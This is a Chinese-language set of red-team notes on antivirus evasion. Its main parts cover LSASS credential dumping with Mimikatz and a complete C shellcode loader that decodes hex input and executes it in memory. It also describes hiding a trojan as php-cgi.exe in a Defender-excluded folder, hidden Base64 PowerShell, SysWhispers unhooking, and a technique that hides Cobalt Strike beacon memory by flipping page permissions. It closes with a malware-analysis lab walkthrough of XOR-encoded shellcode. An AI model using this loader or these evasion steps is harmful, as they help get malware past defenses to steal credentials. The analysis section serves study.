红队系列
- LSASS
- 图标PDF的LNK恶意文件
- LNK恶意文件调用CMD程序生成执行BAT脚本,并创建计划任务
- 解码生成的BAT脚本,从远程服务器上下载生成恶意JS脚本,并删除之前创建的计划任务
- 白名单免杀
- 游击战术反复横跳=》进程触发win异常
- 恶意代码分析实战shellcode分析
- 工具Pe2shc (Pe to Shellcode) 的源码级分析
- 参考文章
-
- Supernova
- Cobaltstrike免杀从源码级到落地思维转变
- Shellcode的分析调试技巧
- ShellCode_Loader - Msf&CobaltStrike免杀ShellCode加载器&加密工具
- 开发单个exe桌面应用程序,用什么语言、技术合适
- python调用rust生成的可执行文件.exe的方法
- C/C++免杀CS shellcode实践
- 安全研发----使用pe_to_shellcode免杀mimikatz
- bin raw 免杀
- 免杀列表
- 安全狗
- pyFUD:一款功能强大的跨平台多客户端远程访问RAT工具
- 免杀实操|go shellcode加载 bypass AV
- golang任意代码免杀绕过火绒+电脑管家
- 安全研发----使用pe_to_shellcode免杀mimikatz
- shellcode——payload分离免杀
LSASS
一般指LSASS.EXE。
lsass.exe是一个系统进程,用于Windows系统的安全机制。它用于本地安全和登陆策略。
当我们获取到机器权限后,
经常使用Mimikatz在机器上获取各种凭证,
包括明文密码,NTLM哈希和Kerberos票证。
这些操作都是通过从LSASS进程内存中转储凭据的。
后来引入了 Windows Defender Credential Guard 这一概念,
当Windows Defender Credential Guard 启动之后,
LSASS进程内存隔离来保护这些凭证。
后续产生了绕过Windows Defender Credential Guard
来破坏对于lsass进程内存的保护,
从而进一步提取内存凭证
具体的进程隔离描述可以参考官方提供的效果图:
图标PDF的LNK恶意文件
LNK恶意文件调用CMD程序生成执行BAT脚本,并创建计划任务
解码生成的BAT脚本,从远程服务器上下载生成恶意JS脚本,并删除之前创建的计划任务
比如数组长度是892,那么他就是由shellcode[0]到shellcode[891]构成,后面加上一个终止符,
此时strlen (shellcode) = 892,sizeof (shellcode) = 893,
所以计算长度的时候需要 a= (sizeof(shellcode) -1),因为每两个字节为一组,
所以我们在分配内存时,需要进行除二操作,比如bytes = (sizeof(shellcode) - 1)/2 或者 bytes = strlen(shellcode)/2
还原shellcode
for(unsigned int i = 0; i< iterations-1; i++) {
sscanf(shellcode+2*i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
加载方式
typedef void (*some_func)();
some_func func = (some_func)exec;
func();
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[]) {
unsigned int char_in_hex;
char *shellcode = argv[1];
unsigned int iterations = strlen(shellcode);
unsigned int memory_allocation = strlen(shellcode) / 2;
for (unsigned int i = 0; i< iterations - 1; i++) {
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
shellcode[i] = (char)char_in_hex;
}
void *exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(exec, shellcode, memory_allocation);
DWORD ignore;
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
typedef void(*some_one)();
some_one func = (some_one)exec;
func();
return 0;
}
资源修改
杀软在检测程序的时候会对诸如文件的描述、版本号、创建日期作为特征检测,可用restorator对目标修改资源文件。比如:加资源、替换资源、加签名等等
白名单免杀
利用一些系统自带的白程序加载payload,例如powershell、mshta等等…
翻找 Windows 官方对 Windows Defender 的介绍,
发现有这样一个目录:Configure Microsoft Defender Antivirus exclusions on Windows Server(在 Windows server 中配置defender排除项)。
https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-server-exclusions-microsoft-defender-antivirus?view=o365-worldwide#list-of-automatic-exclusions
md php5433
新建 php5433 目录,并将木马更名为 php-cgi.exe
powershell执行一个编码后的命令,不显示窗口,不加载配置文件。编码后的命令是一个Base64编码的字符串,可以用powershell的[Convert]::FromBase64String方法来解码,例如:
[Convert]::FromBase64String("JABzAHIAdgBzAHkAcw..")
MSE
雷池 waf
牧云 waf
扰乱分析
添加无危害的代码执行流程扰乱杀软分析 比如延迟执行代码 绕过沙箱
SysWhispers
各种安全产品会在用户模式API函数中放置钩子,这就允许它们将执行数据流重定向到它们的引擎并检测可疑行为。
ntdll.dll中能够执行系统调用的函数仅由几个汇编指令组成,因此我们可以在自己的移植程序中重新实现它们以绕过这些安全产品设置的钩子。
在SysWhispers的帮助下,红队研究人员可以在核心内核映像(ntoskrnl.exe)中针对任何系统调用生成Header/ASM文件,Header中还会包含必要的类型定义。
游击战术反复横跳=》进程触发win异常
Windows进程触发异常时我们可以对shellcode内存页进行处理,
此时可以在一瞬间恢复内存执行属性让shellcode 运行起来然后等它再次进入sleep时去除X属性隐藏起来。
将shellcode 内存页 反复变换
CS 异步 执行命令
RW 只读
RX 执行
- HOOK sleep 到自己的回调
- VirtualAlloc + memcpy + CreateThread注入线程启动shellcode
- 休眠 自己的回调会被调用
- 在回调中加密内存 内存页面属性 改成 RW只读
- 脱钩子 睡眠 也防止检测 继续 beacon sleep
- 解密shellcode RW改成RX 在 挂上钩子
NoACCESS - RX
- 资源释放 shellcode 获取
- HOOK 到自己的回调
- VirtualAlloc + memcpy + CreateThread注入线程启动shellcode
- 初始化向量异常处理程序 VEH 设置自己的处理程序 捕捉访问冲突 异常
- 休眠即调用我们的回调
- 加密 Beacon 内存 内存属性到 PAGE_NOACCESS
- 脱钩子
- 进入睡眠
- 休眠结束 重新 HOOK
- shellcode尝试恢复运行 触发0xc0000005 访问异常
- windows 异常分发机制 分发给 全局的VEH 捕获到异常
- shellcode解密 翻转为RX
- 在处理函数中 return EXCEPTION_CONTINUE_EXCUTION
- 恢复shellcode执行
异常处理 获取上下文 一开始就PAGE_NOACCESS
就从开始位置 执行
不用修改 指令指针
恶意代码分析实战shellcode分析
学习如何分析shellcode。
将IDA和Ollydbg配合检查恶意代码是如何实现将shellcode注入浏览器进程的,
当我们在恶意代码中找到shellcode后
还需要进一步分析shell是如何被编码的,
并通过winhex的配合将shellcode手动提取出来,
之后使用scetest进行模拟,
之后为了更全面分析shellcode导入的函数,又使用了scdbg辅助分析。
恶意代码分析实战
本科/专科信息安全专业
计算机网络、操作系统
预备知识
1.IDA Pro
IDA Pro是一款交互式的,可编程的,可扩展的,多处理器的,
交叉Windows或Linux WinCE MacOS平台主机来分析程序,
被公认为最好的花钱可以买到的逆向工程利器。
IDA Pro已经成为事实上的分析敌意代码的标准并让其自身迅速成为攻击研究领域的重要工具。
它支持数十种CPU指令集其中包括Intelx86,x64,MIPS,PowerPC,ARM,Z80,68000,c8051等等。
查看伪代码,汇编代码
2.Ollydbg
一个反汇编工具,又叫OllyDebug,一个新的动态追踪工具,
将IDA与SoftICE结合起来的思想,Ring 3 级的调试器,
己代替SoftICE成为当今最为流行的调试解密工具了。
同时还支持插件扩展功能,是目前最强大的调试工具。
基本上,调试自己的程序因为有源码,一般用vc,破解别人的程序用OllyDebug。
实验环境
服务器:Windows 7,kali
辅助工具:IDA,ollydbg,winhex,scdbg
Q1.这段shellcode被注入到什么进程中?
Q2.这段shellcode位于哪里?
Q3.这段shellcode是如何被编码的?
Q4.这段shellcode手动导入了哪个函数?
Q5.这段shellcode和什么网络主机进行通信?
Q6.这段shellcode做了什么?
首先载入IDA
第一处call是调用sub_4010b0,跟入该函数
从其关键函数调用可知,这个函数为当前进程提供合适的权限,使其允许调试
返回main
接着是调用sub_401000,跟入
上图字符串指示的注册表值是系统的默认浏览器
-注册表相关 操作函数
结合之后的函数调用可知,sub_401000用于从注册表中获得默认浏览器的路径
返回main,继续分析
跟入sub_401180
会创建一个新的进程,其wShowWindows值为0,说明它的窗口是隐藏的
那么这是创建了什么进程呢?
我们回到main之后,看看这个函数的地址
地址是4013de
我们将其载入OD然后在这里下断点,然后执行过来
如上图 所示,
这里的eax即在调用这个函数时传入的参数,
这里可以看到这个参数是ie浏览器的地址,也就是说这个函数会使用这个路径来创建进程
Q1.这段shellcode被注入到什么进程中?
A1.这个程序进程注入默认浏览器Internet Explorer中。
回到IDA,在main中继续往下分析
unk_407030就是shellcode缓冲区的位置
(我们接下来先分析sub_401230后就会知道为什么说这里是shellcode缓冲区的位置了)
跟入sub_401230
从其关键 -堆栈-的函数调用不难看出其作用就是用于注入shellcode
至此,我们大概就知道恶意代码实现了如下的操作:
通过读取注册表HKCR\http\shell\poen\command启动默认的浏览器,
浏览器作为一个新进程被创建,
其StartupInfo.wShowWindow被设置为SW_HIDE,所以浏览器进程对用户界面隐藏。
Q2.这段shellcode位于哪里?
A2. shellcode 的缓存区位于0x407030位置。
我们在407030处光标定位,然后按c键转为代码,如下所示
从上图可以看到,
一开始通过jmp来到407043,
而在407043处是调用了loc_407032。
这里需要注意call指令会先将下一地址入栈,
也就是会将407048入栈,
在loc_407032中先是pop edi,见407048传给了edi,
在407039将0xe7赋给al,
在40703b看到会将
0xe7与edi地址中所保存的内容进行异或,
一共是进行了0x18f次。这里就是一个解密的过程
Q3.这段shellcode是如何被编码的?
A3. shellcode 与字节0xe7异或。
我们把这段shellcode提取出来